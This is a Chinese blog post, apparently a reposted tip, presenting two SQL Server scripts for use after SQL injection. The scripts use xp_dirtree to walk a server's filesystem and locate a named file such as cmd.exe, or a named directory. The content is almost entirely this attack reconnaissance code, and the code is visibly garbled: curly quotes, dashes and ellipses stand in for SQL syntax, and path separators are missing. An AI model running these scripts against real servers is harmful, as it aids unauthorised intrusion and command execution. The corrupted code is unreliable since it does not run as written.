注入找文件

博客提供了SQL查找文件和目录的语句。查找文件时,先创建临时表,设置根目录和要查找的文件名,通过一系列操作定位文件路径;查找目录时,同样创建临时表,设置根目录和要查找的目录名,最终获取目录路径。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

查找文件的语句

CODE:

drop table tmp;
create table tmp
(
[id] [int] IDENTITY (1,1) NOT NULL,
[name] [nvarchar] (300) NOT NULL,
[depth] [int] NOT NULL,
[isfile] [nvarchar] (50) NULL
);

declare @id int, @depth int, @root nvarchar(300), @name nvarchar(300)
set @root=‘f:\usr’ – Start root
set @name=‘cmd.exe’ – Find file
insert into tmp exec master…xp_dirtree @root,0,1–
set @id=(select top 1 id from tmp where isfile=1 and name=@name)
set @depth=(select top 1 depth from tmp where isfile=1 and name=@name)
while @depth<>1
begin
set @id=(select top 1 id from tmp where isfile=0 and id<@id and depth=(@depth-1) order by id desc)
set @depth=(select depth from tmp where id=@id)
set @name=(select name from tmp where id=@id)+’’+@name
end
update tmp set name=@root+@name where id=1
select name from tmp where id=1

查找目录的语句

CODE:

drop table tmp;
create table tmp
(
[id] [int] IDENTITY (1,1) NOT NULL,
[name] [nvarchar] (300) NOT NULL,
[depth] [int] NOT NULL
);

declare @id int, @depth int, @root nvarchar(300), @name nvarchar(300)
set @root=‘f:\usr’ – Start root
set @name=‘donggeer’ – directory to find
insert into tmp exec master…xp_dirtree @root,0,0
set @id=(select top 1 id from tmp where name=@name)
set @depth=(select top 1 depth from tmp where name=@name)
while @depth<>1
begin
set @id=(select top 1 id from tmp where id<@id and depth=(@depth-1) order by id desc)
set @depth=(select depth from tmp where id=@id)
set @name=(select name from tmp where id=@id)+’’+@name
end update tmp set name=@root+@name where id=1
select name from tmp where id=1

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值